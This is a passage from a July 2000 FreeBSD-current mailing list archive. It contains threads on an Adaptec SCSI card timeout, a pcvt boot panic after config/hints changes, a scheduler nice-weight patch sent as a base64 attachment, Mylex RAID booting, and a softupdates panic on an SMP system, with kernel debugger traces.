From owner-freebsd-current Sun Jul 9 0:21:46 2000 Delivered-To: freebsd-current@freebsd.org Received: from dfw-smtpout2.email.verio.net (dfw-smtpout2.email.verio.net [129.250.36.42]) by hub.freebsd.org (Postfix) with ESMTP id BC50337C14C; Sun, 9 Jul 2000 00:21:39 -0700 (PDT) (envelope-from squirrel@hammis.com) Received: from [129.250.38.63] (helo=dfw-mmp3.email.verio.net) by dfw-smtpout2.email.verio.net with esmtp (Exim 3.12 #7) id 13BBPG-0001lL-00; Sun, 09 Jul 2000 07:21:38 +0000 Received: from [209.69.36.12] (helo=elizabeth.hammis.com) by dfw-mmp3.email.verio.net with esmtp (Exim 3.15 #4) id 13BBPA-0000In-00; Sun, 09 Jul 2000 07:21:33 +0000 Message-Id: <4.3.2.7.0.20000709032042.00bb3340@hammis.com> X-Sender: squirrel@hammis.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Sun, 09 Jul 2000 03:21:31 -0400 To: Robert Small From: Damon Hammis Subject: Re: SCSI Question Cc: freebsd-questions@freebsd.org, freebsd-current@freebsd.org In-Reply-To: <396779FD.271E5CB8@superjake.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The jumpers aren't set right. If they aren't set right FreeBSD will recognize the card at boot, but it won't be able to probe it at all. At 01:59 PM 7/8/00 -0500, Robert Small wrote: >Damon Hammis wrote: > > > The jumpers are set wrong on the card. I had the exact same problem with > > an aha-1542 and aha-1540 card recently. The docs on the jumpers that you > > can get on Adaptec's site are kind of cryptic, but the card will work once > > you get the jumpers placed correctly. > > > > Currently I have mine running at irq 9, drq 5 and my jumpers are setup > > like this: > > > > J5 pin 8 jumpered pin 9 the jumper is on one pin > > J9 pins 2, 6, and 9 are jumpered. > > > > I have that configuration running on two systems now working great. Let > > me know how it goes for ya. > > > > --Damon > > > > On Fri, 7 Jul 2000, Robert Small wrote: > > > > > I installed an Adaptec AHA-1542 controller in my system tonight, and > > > hooked up a Sony SDT-5000 tape drive. > > > > > > When I try to boot into FreeBSD (5.0-20000511-CURRENT FreeBSD > > > 5.0-20000511-CURRENT #4: Thu Jul 6 20:31:41 CDT 2000) I receive: > > > > > > Waiting 15 seconds for SCSI devices to settle down > > > (approximately 30-45 seconds later) > > > (Probe0:aha0:0:0:0) CCB 0xc782c508 > > > (Probe0:aha0:0:0:0) CCB 0xc782c508 > > > aha0: aha_cmd: Timeout waiting for adapter idle > > > ahainitmboxes: Initialization command failed > > > aha0 no longer in timeout > > > (Probe6:aha0:0:6:0) CCB 0xc782c508 > > > (Probe6:aha0:0:6:0) CCB 0xc782c508 > > > aha0: aha_cmd: Timeout waiting for adapter idle > > > ahainitmboxes: Initialization command failed > > > aha0 no longer in timeout > > > > > > And it keeps repeating. I had to remove the card to boot into FreeBSD. > > > The card recognizes the tape drive. > > > > > > Any ideas? > > > > > > Robert > > > > > > > > > -------------------------------------------------------------------- > > > Does killing time damage eternity? > > > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > > with "unsubscribe freebsd-questions" in the body of the message > > > > >Ok after further investigation, I can get the system to recognize the card, > >aha0 at port-0x130-0x133 irq 9 drq 5 on isa0 >aha0: AHA-1542CF FW Rev. F.0 (ID=45) SCSI Host Adapter, SCSI ID 7, 16 CCBs > >but when it does, I get all of these errors > > Waiting 15 seconds for SCSI devices to settle down > (approximately 30-45 seconds later) > (Probe0:aha0:0:0:0) CCB 0xc782c508 > (Probe0:aha0:0:0:0) CCB 0xc782c508 > aha0: aha_cmd: Timeout waiting for adapter idle > ahainitmboxes: Initialization command failed > aha0 no longer in timeout > (Probe6:aha0:0:6:0) CCB 0xc782c508 > (Probe6:aha0:0:6:0) CCB 0xc782c508 > aha0: aha_cmd: Timeout waiting for adapter idle > ahainitmboxes: Initialization command failed > aha0 no longer in timeout > >and after 30-45 minutes the system will finally get finished probing and give > >me a login prompt. > >So it's not an IRQ problem, in fact, the only way I can make the system >boot-up quickly is to make it share an IRQ. On boot-up, it recognizes and >lists the tape drive, but when it comes to probing, it's no joy. > >Any ideas/suggestions/hints? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 1:35: 4 2000 Delivered-To: freebsd-current@freebsd.org Received: from lucifer.ninth-circle.org (lucifer.bart.nl [194.158.168.74]) by hub.freebsd.org (Postfix) with ESMTP id 2953B37B54F; Sun, 9 Jul 2000 01:34:59 -0700 (PDT) (envelope-from asmodai@lucifer.ninth-circle.org) Received: (from asmodai@localhost) by lucifer.ninth-circle.org (8.9.3/8.9.3) id KAA35576; Sun, 9 Jul 2000 10:34:51 +0200 (CEST) (envelope-from asmodai) Date: Sun, 9 Jul 2000 10:34:51 +0200 From: Jeroen Ruigrok van der Werven To: "Michael C. Wu" Cc: yokota@FreeBSD.ORG, current@FreeBSD.ORG, oliver.fromme@heim3.tu-clausthal.de Subject: Re: about Kern/15436 Message-ID: <20000709103451.E35342@lucifer.bart.nl> References: <20000705010454.A26452@peorth.iteration.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20000705010454.A26452@peorth.iteration.net>; from keichii@peorth.iteration.net on Wed, Jul 05, 2000 at 01:04:54AM -0500 Organisation: VIA Net.Works The Netherlands Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -On [20000705 09:33], Michael C. Wu (keichii@peorth.iteration.net) wrote: > >http://dorifer.heim3.tu-clausthal.de/~olli/propellers/ > >http://www.freebsd.org/cgi/query-pr.cgi?pr=15436 > >Perhaps we can get this done in time for for 4.1-R? IIRC there is somenone working on this already. And it will be in CURRENT first before it gets pushed back in STABLE. -- Jeroen Ruigrok van der Werven Network- and systemadministrator VIA Net.Works The Netherlands BSD: Technical excellence at its best http://www.via-net-works.nl ``...by God I *KNOW* what this network is for, and you can't have it.'' -- Russ Albery To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 2: 1:33 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 43C0037B514; Sun, 9 Jul 2000 02:01:25 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p43-dn01kiryunisiki.gunma.ocn.ne.jp [211.0.245.44]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id SAA18938; Sun, 9 Jul 2000 18:01:03 +0900 (JST) Message-ID: <39683F6F.833723A9@newsguy.com> Date: Sun, 09 Jul 2000 18:01:35 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: hm@hcs.de Cc: freebsd-current@FreeBSD.ORG, peter@freebsd.org Subject: Re: config/hints changes: panic booting pcvt kernel References: <20000706134007.414D3158A@hcswork.hcs.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hellmuth Michaelis wrote: > > After the latest config/hints changes, just commenting the syscons driver > "sc" line and uncommenting the pcvt "vt" line in the GENERIC kernel config > file, a booting kernel panics after the the message "atkbdc0: controller (i8042)> .." with a fatal trap 12, page fault while in kernel mode. > > This is reliably reproducible on my 2 test machines running current cvsuped > a day ago. > > I'm now trying and searching for two days and i'm running out of ideas. It > might be that i'm doing something very stupid here, but i tried hard to make > shure i'm doing not. Help .... I recall there were lots of problems with syscons after the hints change. *IF* people had the USERCONFIG option, things would work. Otherwise... I do not know if vt suffers from the same problem, nor do I know if the fix done was specific to syscons or not. -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org capo@the.great.underground.bsdconpiracy.org _DES: The Book of Bruce has only one sentence in it, and it says "the actual directives of my cult are left as an exercise for the reader. Good luck." jkh: does it really include the 'good luck' part? EE: OK, I made that part up. EE: I figured it should sound a bit more cheery than how Bruce initially dictated it to me. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 3:19:31 2000 Delivered-To: freebsd-current@freebsd.org Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id C246537B5AC; Sun, 9 Jul 2000 03:18:49 -0700 (PDT) (envelope-from green@FreeBSD.org) Date: Sun, 9 Jul 2000 06:18:34 -0400 (EDT) From: Brian Fundakowski Feldman X-Sender: green@green.dyndns.org To: Luigi Rizzo Cc: "Jacob A. Hart" , Doug Barton , Sheldon Hearn , FreeBSD-CURRENT Subject: Re: Scheduler changes? In-Reply-To: <200006111520.RAA11260@info.iet.unipi.it> Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-1183712459-963137914=:33233" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-1183712459-963137914=:33233 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sun, 11 Jun 2000, Luigi Rizzo wrote: > Hi, > i understand that this means maybe a somwthat > large change in the system, but what do you think > if we have a lok at implementing the CPU scheduler using > weights instead of strict priorities ? > Do we have parts of the kernel which rely on priority > to implement locking etc ? > > This would not be too different from what the EclipseBSD people > did, and the code i recently committed to dummynet can be easily > reused to this purpose, and it is efficient. > > With a little bit of guidance (I am not too familiar with that area > of the code) i think we can do something good with little > effort. I've been thinking about this a lot. As for the current scheduler, a NICE_WEIGHT of 1.8 seems to work nicely; see the attached patch. I have been looking more into making things more like Eclipse. I have to say I'm very impressed with their work in implementing QoS, and we would do well to update some of our ancient designs to a model that resembles theirs. I'm looking at their process and disk scheduler now, after reading their network scheduling paper from the Usenix proceedings. I'm very interested in finding a better algorithm than the current one, yes :) > cheers > luigi -- Brian Fundakowski Feldman \ FreeBSD: The Power to Serve! / green@FreeBSD.org `------------------------------' --0-1183712459-963137914=:33233 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="sched.NICE_WEIGHT.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="sched.NICE_WEIGHT.patch" SW5kZXg6IHN5cy9rZXJuL2tlcm5fc3luY2guYw0KPT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PQ0KUkNTIGZpbGU6IC91c3IyL25jdnMvc3JjL3N5cy9rZXJuL2tl cm5fc3luY2guYyx2DQpyZXRyaWV2aW5nIHJldmlzaW9uIDEuOTUNCmRpZmYg LXUgLXIxLjk1IGtlcm5fc3luY2guYw0KLS0tIHN5cy9rZXJuL2tlcm5fc3lu Y2guYwkyMDAwLzA3LzA0IDExOjI1OjIzCTEuOTUNCisrKyBzeXMva2Vybi9r ZXJuX3N5bmNoLmMJMjAwMC8wNy8wOCAwMDoyMDoyMw0KQEAgLTkxNiw3ICs5 MTYsNyBAQA0KIA0KIAlpZiAocC0+cF9ydHByaW8udHlwZSA9PSBSVFBfUFJJ T19OT1JNQUwpIHsNCiAJCW5ld3ByaW9yaXR5ID0gUFVTRVIgKyBwLT5wX2Vz dGNwdSAvIElOVkVSU0VfRVNUQ1BVX1dFSUdIVCArDQotCQkgICAgTklDRV9X RUlHSFQgKiAocC0+cF9uaWNlIC0gUFJJT19NSU4pOw0KKwkJICAgIChwLT5w X25pY2UgLSBQUklPX01JTikgKiBOSUNFX1dFSUdIVDsNCiAJCW5ld3ByaW9y aXR5ID0gbWluKG5ld3ByaW9yaXR5LCBNQVhQUkkpOw0KIAkJcC0+cF91c3Jw cmkgPSBuZXdwcmlvcml0eTsNCiAJfQ0KSW5kZXg6IHN5cy9zeXMvcHJvYy5o DQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09DQpSQ1MgZmlsZTogL3VzcjIvbmN2 cy9zcmMvc3lzL3N5cy9wcm9jLmgsdg0KcmV0cmlldmluZyByZXZpc2lvbiAx LjEwNg0KZGlmZiAtdSAtcjEuMTA2IHByb2MuaA0KLS0tIHN5cy9zeXMvcHJv Yy5oCTIwMDAvMDYvMjIgMjI6Mjc6MTYJMS4xMDYNCisrKyBzeXMvc3lzL3By b2MuaAkyMDAwLzA3LzA4IDAwOjIxOjE0DQpAQCAtNDA1LDEwICs0MDUsMTAg QEANCiAgKiB0aGUgcmFuZ2UgMTAwLTI1NiBIeiAoYXBwcm94aW1hdGVseSku DQogICovDQogI2RlZmluZQlJTlZFUlNFX0VTVENQVV9XRUlHSFQJOAkvKiAx IC8gKHByaW9yaXRpZXMgcGVyIGVzdGNwdSBsZXZlbCkgKi8NCi0jZGVmaW5l CU5JQ0VfV0VJR0hUCTEJCS8qIHByaW9yaXRpZXMgcGVyIG5pY2UgbGV2ZWwg Ki8NCisjZGVmaW5lCU5JQ0VfV0VJR0hUCTkgLyA1CQkvKiBwcmlvcml0aWVz IHBlciBuaWNlIGxldmVsICovDQogI2RlZmluZQlQUFEJCSgxMjggLyBOUVMp CS8qIHByaW9yaXRpZXMgcGVyIHF1ZXVlICovDQogI2RlZmluZQlFU1RDUFVM SU0oZSkgXA0KLSAgICBtaW4oKGUpLCBJTlZFUlNFX0VTVENQVV9XRUlHSFQg KiAoTklDRV9XRUlHSFQgKiBQUklPX1RPVEFMIC0gUFBRKSArIFwNCisgICAg bWluKChlKSwgSU5WRVJTRV9FU1RDUFVfV0VJR0hUICogKFBSSU9fVE9UQUwg KiBOSUNFX1dFSUdIVCAtIFBQUSkgKyBcDQogCUlOVkVSU0VfRVNUQ1BVX1dF SUdIVCAtIDEpDQogDQogZXh0ZXJuCXVfbG9uZyBwc19hcmdfY2FjaGVfbGlt aXQ7DQo= --0-1183712459-963137914=:33233-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 3:28:23 2000 Delivered-To: freebsd-current@freebsd.org Received: from lucifer.ninth-circle.org (lucifer.bart.nl [194.158.168.74]) by hub.freebsd.org (Postfix) with ESMTP id 8677237B619 for ; Sun, 9 Jul 2000 03:27:32 -0700 (PDT) (envelope-from asmodai@lucifer.ninth-circle.org) Received: (from asmodai@localhost) by lucifer.ninth-circle.org (8.9.3/8.9.3) id MAA36105; Sun, 9 Jul 2000 12:27:22 +0200 (CEST) (envelope-from asmodai) Date: Sun, 9 Jul 2000 12:27:22 +0200 From: Jeroen Ruigrok van der Werven To: Shawn Ramsey Cc: current@FreeBSD.ORG Subject: Re: Fwd: Mylex AcceleRAID 250 Message-ID: <20000709122722.A36066@lucifer.bart.nl> References: <4.3.0.20000707134514.02099de0@mail.cpl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <4.3.0.20000707134514.02099de0@mail.cpl.net>; from shawn@megadeth.org on Fri, Jul 07, 2000 at 01:45:56PM -0700 Organisation: VIA Net.Works The Netherlands Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -On [20000708 00:25], Shawn Ramsey (shawn@megadeth.org) wrote: > >>I am trying to install FreeBSD 4.0-RELEASE onto a Mylex Acceleraid 250. >>The RAID is two drives setup as a RAID1. When booting from the floppies, >>it found the card, and the raid configuration. The OS installed fine onto >>the RAID, but now when I try to boot, it tells me "missing operating >>system". Is anyone using one of these in this fashion? What do I need to >>do to get it to boot? IIRC Mike Smith fixed this ins 4.0-STABLE. Your best bet is to find some recent 4.0-STABLE disks and install a STABLE snapshot which supports booting from AMI and MyLex RAID set-ups. HTH, -- Jeroen Ruigrok van der Werven Network- and systemadministrator VIA Net.Works The Netherlands BSD: Technical excellence at its best http://www.via-net-works.nl ``...by God I *KNOW* what this network is for, and you can't have it.'' -- Russ Albery To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 3:28:29 2000 Delivered-To: freebsd-current@freebsd.org Received: from hcshh.hcs.de (hcshh.hcs.de [194.123.40.1]) by hub.freebsd.org (Postfix) with SMTP id BA81F37C308; Sun, 9 Jul 2000 03:28:15 -0700 (PDT) (envelope-from hm@hcs.de) Received: from hcswork.hcs.de([192.76.124.5]) (4834 bytes) by hcshh.hcs.de via sendmail with P:smtp/R:inet_hosts/T:smtp (sender: ) id for ; Sun, 9 Jul 2000 12:28:14 +0200 (CEST) (Smail-3.2.0.104 1998-Nov-20 #1 built 1998-Dec-11) Received: by hcswork.hcs.de (Postfix, from userid 200) id 67F2D1029; Sun, 9 Jul 2000 12:27:59 +0200 (METDST) Subject: Re: config/hints changes: panic booting pcvt kernel In-Reply-To: <39683F6F.833723A9@newsguy.com> from "Daniel C. Sobral" at "Jul 9, 0 06:01:35 pm" To: dcs@newsguy.com (Daniel C. Sobral) Date: Sun, 9 Jul 2000 12:27:59 +0200 (METDST) Cc: hm@hcs.de, freebsd-current@FreeBSD.ORG, peter@freebsd.org Reply-To: hm@hcs.de Organization: HCS Hanseatischer Computerservice GmbH X-Mailer: ELM [version 2.4ME+ PL39 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 3895 Message-Id: <20000709102759.67F2D1029@hcswork.hcs.de> From: hm@hcs.de (Hellmuth Michaelis) Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG From the keyboard of Daniel C. Sobral: > > After the latest config/hints changes, just commenting the syscons driver > > "sc" line and uncommenting the pcvt "vt" line in the GENERIC kernel config > > file, a booting kernel panics after the the message "atkbdc0: > controller (i8042)> .." with a fatal trap 12, page fault while in kernel mode. > > > > This is reliably reproducible on my 2 test machines running current cvsuped > > a day ago. > > > > I'm now trying and searching for two days and i'm running out of ideas. It > > might be that i'm doing something very stupid here, but i tried hard to make > > shure i'm doing not. Help .... > > I recall there were lots of problems with syscons after the hints > change. *IF* people had the USERCONFIG option, things would work. > Otherwise... > > I do not know if vt suffers from the same problem, nor do I know if the > fix done was specific to syscons or not. Thanks for the reply - it seems indeed to be a strange problem. In the mean- time i found out that the pcvt probe routine was never called until i added something like DEVMETHOD(device_identify, pcvt_identify) to the device methods structure. But the effect is the same, it still panics after atkbdc0: at port 0x60,0x64 on isa0 with Fatal trap 12: page fault while in kernel mode fault virtual address = 0x0 fault code = supervisor read, page not present instruction pointer = 0x8:0xc019c73f stack pointer = 0x10:0xc0346aac frame pointer = 0x10:0xc0346aac code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 0 (swapper) interrupt mask = net tty bio cam kernel: type 12 trap, code=0 Stopped at strcmp+0x1b: cmpb %al,0(%edx) a ddb trace gives: strcmp(0,c026a120) at strcmp+0x1b kbd_get_switch(c026a120,c0a2d060,c0a6a880,c0346b10,c0241bb8) at kbd_get_switch+$ atkbd_probe_unit(0,0,1,1,c0a2e078) at atkbd_probe_unit+0x10 atkbdprobe(c0a72a80,c0a72a80,c0a6a880,c0a72a80,1) at atkbdprobe+0xdc device_probe_child(c0a6a880,c0a72a80,c0a72a80,c0a6a880,0) at device_probe_child$ device_probe_and_attach(c0a72a80) at device_probe_and_attach+0x35 bus_generic_attach(c0a6a880,c0a2d080,c0a5b780,c0a6a880,1) at bus_generic_attach$ atkbdc_attach(c0a6a880,c0a6a880,c0346bc8,8,0) at atkbdc_attach+0x18c device_probe_and_attach(c0a6a880) at device_probe_and_attach+0x8e isa_probe_children(c0a5b780) at isa_probe_children+0xde configure(0,344c00,34b000,0,c011c6d4) at configure+0x4a mi_startup(c0346fb4,b0246,ffe,34b000,c017417d) at mi_startup+0x70 begin() at begin+0x4b The code where it panics is in /sys/dev/kbd/kbd.c: SLIST_FOREACH(p, &keyboard_drivers, link) { if (strcmp(p->name, driver) == 0) return p->kbdsw; } list = (const keyboard_driver_t **)kbddriver_set.ls_items; while ((p = *list++) != NULL) { if (strcmp(p->name, driver) == 0) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ return p->kbdsw; } when this statement should get executed. The strange thing is that now pcvt is correctly probed and attached (and the keyboard is accessed and does function) so the keyboard structures should have been initialised correctly - but still there is this null pointer in the kbd_get_switch ...... Any hints from the more "hints-knowledged" would be highly appreciated .. ;-) hellmuth -- Hellmuth Michaelis Tel +49 40 55 97 47-70 HCS Hanseatischer Computerservice GmbH Fax +49 40 55 97 47-77 Oldesloer Strasse 97-99 Mail hm [at] hcs.de D-22457 Hamburg WWW http://www.hcs.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 4:35: 5 2000 Delivered-To: freebsd-current@freebsd.org Received: from frmug.org (frmug-gw.frmug.org [193.56.58.252]) by hub.freebsd.org (Postfix) with ESMTP id E6FCE37B5D9 for ; Sun, 9 Jul 2000 04:34:56 -0700 (PDT) (envelope-from roberto@keltia.freenix.fr) Received: (from uucp@localhost) by frmug.org (8.9.3/frmug-2.7/nospam) with UUCP id NAA03399 for freebsd-current@FreeBSD.ORG; Sun, 9 Jul 2000 13:34:54 +0200 (CEST) (envelope-from roberto@keltia.freenix.fr) Received: by keltia.freenix.fr (Postfix, from userid 101) id 0E66E8899; Sun, 9 Jul 2000 12:34:07 +0200 (CEST) Date: Sun, 9 Jul 2000 12:34:07 +0200 From: Ollivier Robert To: "FreeBSD Current Users' list" Subject: Softupdates panic on SMP system Message-ID: <20000709123407.A27797@keltia.freenix.fr> Mail-Followup-To: FreeBSD Current Users' list Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-15 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2i X-Operating-System: FreeBSD 5.0-CURRENT/ELF AMD-K6/200 & 2x PPro/200 SMP Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I just got a softupdates related panic on my dual PPro during buildworld. Sources from July, 4th. Build with -j4. I'll keep the dump if there's any need. #0 boot (howto=260) at ../../kern/kern_shutdown.c:303 #1 0xc0177a29 in panic (fmt=0xc0298c54 "from debugger") at ../../kern/kern_shutdown.c:553 #2 0xc0133195 in db_panic (addr=-1071190004, have_addr=0, count=-1, modif=0xc688e84c "") at ../../ddb/db_command.c:433 #3 0xc0133135 in db_command (last_cmdp=0xc02d4994, cmd_table=0xc02d47f4, aux_cmd_tablep=0xc0315320) at ../../ddb/db_command.c:333 #4 0xc01331fa in db_command_loop () at ../../ddb/db_command.c:455 #5 0xc01353b7 in db_trap (type=3, code=0) at ../../ddb/db_trap.c:71 #6 0xc026ed51 in kdb_trap (type=3, code=0, regs=0xc688e95c) at ../../i386/i386/db_interface.c:158 #7 0xc028095c in trap (frame={tf_fs = -964165608, tf_es = -1072103408, tf_ds = -1039466480, tf_edi = 0, tf_esi = 256, tf_ebp = -964105820, tf_isp = -964105848, tf_ebx = -1070871776, tf_edx = -1744831553, tf_ecx = 32, tf_eax = 18, tf_trapno = 3, tf_err = 0, tf_eip = -1071190004, tf_cs = 8, tf_eflags = 598, tf_esp = -1070836221, tf_ss = -1070971726}) at ../../i386/i386/trap.c:552 #8 0xc026f00c in Debugger (msg=0xc02a44b2 "panic") at machine/cpufunc.h:64 #9 0xc0177a20 in panic (fmt=0xc02bcb20 "flush_pagedep_deps: flush failed") at ../../kern/kern_shutdown.c:551 #10 0xc0243521 in flush_pagedep_deps (pvp=0xc656a380, mp=0xc0d05400, diraddhdp=0xc0f08ba4) at ../../ufs/ffs/ffs_softdep.c:4296 #11 0xc0242de8 in softdep_sync_metadata (ap=0xc688eaf0) at ../../ufs/ffs/ffs_softdep.c:3980 #12 0xc0246f62 in ffs_fsync (ap=0xc688eaf0) at ../../ufs/ffs/ffs_vnops.c:257 #13 0xc023dce8 in ffs_truncate (vp=0xc656a380, length=10752, flags=4, cred=0xc0dd6c80, p=0xc6866f60) at vnode_if.h:537 #14 0xc0249d47 in ufs_direnter (dvp=0xc656a380, tvp=0xc66d7980, dirp=0xc688ec3c, cnp=0xc688ee90, newdirbp=0x0) at ../../ufs/ufs/ufs_lookup.c:844 #15 0xc024dcf3 in ufs_makeinode (mode=33188, dvp=0xc656a380, vpp=0xc688ee7c, cnp=0xc688ee90) at ../../ufs/ufs/ufs_vnops.c:2163 #16 0xc024b530 in ufs_create (ap=0xc688ed94) at ../../ufs/ufs/ufs_vnops.c:186 #17 0xc024dd7d in ufs_vnoperate (ap=0xc688ed94) at ../../ufs/ufs/ufs_vnops.c:2287 #18 0xc01ad4ea in vn_open (ndp=0xc688ee68, flagp=0xc688ee34, cmode=420) at vnode_if.h:106 #19 0xc01a9685 in open (p=0xc6866f60, uap=0xc688ef80) at ../../kern/vfs_syscalls.c:992 #20 0xc0281385 in syscall2 (frame={tf_fs = 47, tf_es = 47, tf_ds = 47, tf_edi = 8, tf_esi = 672435712, tf_ebp = -1077939112, tf_isp = -964104236, tf_ebx = 672369188, tf_edx = 672435712, tf_ecx = 16, tf_eax = 5, tf_trapno = 12, tf_err = 2, tf_eip = 672284676, tf_cs = 31, tf_eflags = 647, tf_esp = -1077939156, tf_ss = 47}) at ../../i386/i386/trap.c:1126 #21 0xc026f71b in Xint0x80_syscall () cannot read proc at 0 (kgdb) up 9 #9 0xc0177a20 in panic (fmt=0xc02bcb20 "flush_pagedep_deps: flush failed") at ../../kern/kern_shutdown.c:551 551 Debugger ("panic"); (kgdb) list 546 printf("lapic.id = %08x\n", lapic.id); 547 #endif 548 549 #if defined(DDB) 550 if (debugger_on_panic) 551 Debugger ("panic"); 552 #endif 553 boot(bootopt); 554 } 555 (kgdb) up #10 0xc0243521 in flush_pagedep_deps (pvp=0xc656a380, mp=0xc0d05400, diraddhdp=0xc0f08ba4) at ../../ufs/ffs/ffs_softdep.c:4296 warning: Source file is more recent than executable. /* * If we have failed to get rid of all the dependencies * then something is seriously wrong. */ if (dap == LIST_FIRST(diraddhdp)) panic("flush_pagedep_deps: flush failed"); (kgdb) print dap $1 = (struct diradd *) 0xc0e87200 (kgdb) print *dap $2 = {da_list = {wk_list = {le_next = 0x0, le_prev = 0xc104e9bc}, wk_type = 10, wk_state = 32777}, da_pdlist = {le_next = 0xc10dada0, le_prev = 0xc0f08ba4}, da_offset = 8088, da_newinum = 104878, da_un = { dau_previous = 0xc0f08b80, dau_pagedep = 0xc0f08b80}} (kgdb) print diraddhdp $3 = (struct diraddhd *) 0xc0f08ba4 (kgdb) print *diraddhdp $4 = {lh_first = 0xc0e87200} (kgdb) print *(diraddhdp->lh_first) $5 = {da_list = {wk_list = {le_next = 0x0, le_prev = 0xc104e9bc}, wk_type = 10, wk_state = 32777}, da_pdlist = {le_next = 0xc10dada0, le_prev = 0xc0f08ba4}, da_offset = 8088, da_newinum = 104878, da_un = { dau_previous = 0xc0f08b80, dau_pagedep = 0xc0f08b80}} (kgdb) print lk $7 = {lkt_spl = 0, lkt_held = 60344} (kgdb) print bp $8 = (struct buf *) 0xc20b2300 (kgdb) print *bp $9 = {b_io = {bio_cmd = 2, bio_dev = 0xc0d57a80, bio_blkno = 852656, bio_offset = 436559872, bio_bcount = 8192, bio_data = 0xc2b09000 "¤\201\001", bio_flags = 4, _bio_buf = 0x0, bio_error = 0, bio_resid = 0, bio_done = 0xc01a09ac , bio_driver1 = 0x0, bio_driver2 = 0x0, bio_caller1 = 0x0, bio_caller2 = 0xc20b2300, bio_queue = {tqe_next = 0x0, tqe_prev = 0xc0d3d000}, bio_pblkno = 6913907, bio_done_chain = 0x0}, b_iodone = 0, b_offset = 436559872, b_hash = {le_next = 0xc20bfc40, le_prev = 0xc20939dc}, b_vnbufs = {tqe_next = 0x0, tqe_prev = 0xc20c42c4}, b_freelist = {tqe_next = 0x0, tqe_prev = 0xc207cc2c}, b_act = { tqe_next = 0x0, tqe_prev = 0x0}, b_flags = 537006752, b_qindex = 3, b_xflags = 1 '\001', b_lock = {lk_interlock = {lock_data = 0}, lk_flags = 0, lk_sharecount = 0, lk_waitcount = 0, lk_exclusivecount = 0, lk_prio = 20, lk_wmesg = 0xc02a7b64 "bufwait", lk_timo = 0, lk_lockholder = -1}, b_bufsize = 8192, b_kvabase = 0xc2b09000 "¤\201\001", b_kvasize = 16384, b_lblkno = 852656, b_vp = 0xc60197c0, b_dirtyoff = 0, b_dirtyend = 0, b_rcred = 0x0, b_wcred = 0x0, b_saveaddr = 0x0, b_pager = {pg_spc = 0x0, pg_reqpage = 0}, b_cluster = {cluster_head = {tqh_first = 0xc20bcc20, tqh_last = 0xc20a1d30}, cluster_entry = {tqe_next = 0xc20bcc20, tqe_prev = 0xc20a1d30}}, b_pages = {0xc0898530, 0xc090b5bc, 0x0 }, b_npages = 2, b_dep = {lh_first = 0xc105b180}} -- Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 5.0-CURRENT #80: Sun Jun 4 22:44:19 CEST 2000 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jul 9 6:37:17 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org 